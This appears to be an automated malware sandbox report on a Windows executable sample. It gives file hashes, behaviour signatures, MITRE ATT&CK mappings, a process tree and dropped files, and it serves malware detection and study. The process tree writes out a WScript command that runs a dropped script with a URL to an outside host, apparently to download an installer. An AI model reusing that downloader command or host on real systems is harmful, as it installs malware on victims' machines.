60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
11/06/2024, 04:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
Size 184KB
Sample240611-fdqdkavhlm
SHA256 60c1fa3596584a9dd18663cf5f312f25cae53171c14a040f093081475659a1bd
MD5 9d03368e2dfb77a719e37f486e94dbe0
SHA1 6ecf0ca078a5abeafc69e4cebf8034fa479eb2a6
SHA512 76ea611dbbea4bd920d3dbbe69a1b9b28defd324bd8e7e9ce9365139a1ae2500fcd9e5e0eadaf21195d0956120637fc801d0049d839577eb60ac42df8382792b
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3W:/7BSH8zUB+nGESaaRvoB7FJNndn7
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1700	WScript.exe
8	1700	WScript.exe
10	1700	WScript.exe
12	2580	WScript.exe
13	2580	WScript.exe
15	2740	WScript.exe
16	2740	WScript.exe
18	2000	WScript.exe
19	2000	WScript.exe
21	2092	WScript.exe
22	2092	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1484	1288	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 1700	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	28
PID 1288 wrote to memory of 1700	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	28
PID 1288 wrote to memory of 2580	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2580	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2580	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2580	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	30
PID 1288 wrote to memory of 2740	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2740	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	32
PID 1288 wrote to memory of 2000	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2000	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	34
PID 1288 wrote to memory of 2092	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2092	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2092	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	36
PID 1288 wrote to memory of 2092	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	36
PID 1288 wrote to memory of 1484	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	38
PID 1288 wrote to memory of 1484	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	38
PID 1288 wrote to memory of 1484	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	38
PID 1288 wrote to memory of 1484	1288	9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9d03368e2dfb77a719e37f486e94dbe0_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
  2⤵
  - Blocklisted process makes network request
  PID:1700
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2580
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2000
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf114F.js" http://www.djapp.info/?domain=RUrFqPGNEK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf114F.exe
  2⤵
  - Blocklisted process makes network request
  PID:2092
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 556
  2⤵
  - Program crash
  PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 1KB
SHA256 bca86280bbd294f04935238e52545a2e9f6f1b22c66695b4f0f937857476e9a8
MD5 61442f25854d3a90e776e2858a8d179d
SHA1 17ba1314fc0778a6e8df6dc17d14ca93515d91bd
SHA512 682278934ce25bdf5a2751d95d7c15b4edf4e42e5ec40ed824a539fbdac4b11fa611e2d9723d9c138ecb66529e5275ac229c6f6df936f4adb856943b16dd9fde
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 724B
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9
MD5 SHA1 SHA512

Submit Download

24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Size 410B
SHA256 fb5d2e21e58711e3397f66d7ba1a54e85785176a5d7496827e18cde5ee0fa297
MD5 99ea8df7fc53ad6cf1911727b0792df3
SHA1 4bf99bdab1bb518d68d6348656ab1fe99026e523
SHA512 f50c8feb6278ab5ad97c75d90de275f985f190a008c6f42c5393f269373890ee22e0f29babbd146dc6f139c1cdd5608ddb19223664e060ac0e52d9c5c3790e58
MD5 SHA1 SHA512

Submit Download

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 344B
SHA256 0adc93cc3123c74a31ccb8beb4817f2c9211429540defd2d107403035b18bfd0
MD5 8f0cf3b71a451da3e7af0bb4e0bb4ffd
SHA1 5575484c9272d9fed909e90939b89fa877fe409a
SHA512 852b96c736cd8203ce2e16f7e18862d49cbdd7acaa347d9df3fdf76c0d5b44ef4b12c1160ba86722a95ef595d0b37e78c4d489cf480af12a0fa4c9ecf07e38ae
MD5 SHA1 SHA512

Submit Download

CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Size 392B
SHA256 499b51512a779635f5f17495011fae2970879395c31223ef0cc4553de77ca93e
MD5 de9270c4fb4e097ccfcaf6aae02263e7
SHA1 6464fd7978f85caa0b5009870c2bdece33b416f5
SHA512 44a5ad9b6055801bbea6445cd4c6a429296948df152c005527437a57a726c7dad28ea8762d6265b8443b2ccc63ae4e2a892fccd028ea534a0a75868043a12292
MD5 SHA1 SHA512

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
Size 40KB
SHA256 0c791e92516955d33748798234a3bde2e89aafd7d7332bc4b002e68d28ee1e79
MD5 497c745764e5e2f5a2f758a154447563
SHA1 b2d90a47d3cba6be321dbef5517db4d707d81383
SHA512 d9be8e7638fd93acfd46014c5d382d52cadef4936a2a66ac5e4cad4cfe4772cb89cfe610566323f2bf9700d4c9d73c367b920b2dea26f9c40800f05cb2fdee58
SSDEEP 768:p6FYdeYy4jJI4Yq7tgn6qaY9VNsh/9gaRRvbv38nf237ZFZNYvcQNyVOlf6ShBvF:IYdeYy4jahj6qrreh/9gibkf237ZFZNk
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
Size 6KB
SHA256 e72115813298377ab36616a7cbfa996b691a4d704966604ce47017ebd954a436
MD5 5d2897dbff252c55f28a7934e1281a71
SHA1 2965d8a0dc07e4760db0683fe2ff1d782130ebde
SHA512 098554ed37dc00580dce916941ce71b52874a8382e4aa9c54349b15bdfaa93a54855b2223831f8e497b27d93f45f314ec836d077b41dc5ba45473321146f0be5
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4unx/a:CFYecQ1bcJgJtWkBaKhvaMwiX6nx/a
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
Size 6KB
SHA256 0f0872262930f542ec7bc30f72ff445d2b4746cf09559dbea45f5d0d0e9313b8
MD5 a11395f7801c68fc08a42adb49b4965e
SHA1 0c74ca1cdff73ee75d673be8392f684cb940424a
SHA512 3311e87431fa28cd668fabbd20616587edf18e7f4b4f57a54bbc5e4f3b341be21b8aa5cb63f24402623ffb1af99fd2b3d45fbb67ee7580122487857e525a916d
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4Enx/a:CFYecQ1bcJgJtWkBaKhvaMwiXInx/a
MD5 SHA1 SHA512 SSDEEP

Submit Download

domain_profile[1].htm

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
Size 6KB
SHA256 73b4bbbb8724207a4298fede2ece8df65a3581e3cd27b3220d3a15663bbce86c
MD5 6c4a2100fac8650c3e091f14b67f66dc
SHA1 27ac6da44057312d651c360720da64213fe54f10
SHA512 9da9629c43c3dfe7fa8e96384638d469b5b8e7a7798e407712eac7d9696e395c5d388d4e9f390ba2ae2ff4f926a81a31be630b098bf7bbff90da9f9b854642d4
SSDEEP 192:CFYecHw1bc7950r0CtWC3zBM5KhvagVwiXw4enx/a:CFYecQ1bcJgJtWkBaKhvaMwiXynx/a
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab40C8.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab40C8.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar5909.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar5909.tmp
Size 171KB
SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
MD5 9c0c641c06238516f27941aa1166d427
SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
MD5 SHA1 SHA512 SSDEEP

Submit Download

fuf114F.js

Path C:\Users\Admin\AppData\Local\Temp\fuf114F.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

Submit Download

NI3ZJXGP.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\NI3ZJXGP.txt
Size 177B
SHA256 31b02e14b8accdfdeeeb386b7ce02c875343d32051f3a530b242888c9697e666
MD5 80b3ebbd38856710320e1b7fd40f95c8
SHA1 4d92012155fa1c890a8f957c5c62ba9fc815cdcb
SHA512 fa488fcfea6783af2f4fa8ecf0fac39076f29cfaea930892999404df5778898ad8bd2347c6b56a909ab40877e2752ac507b3a905d4645c9c19dcd05e37544f8d
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads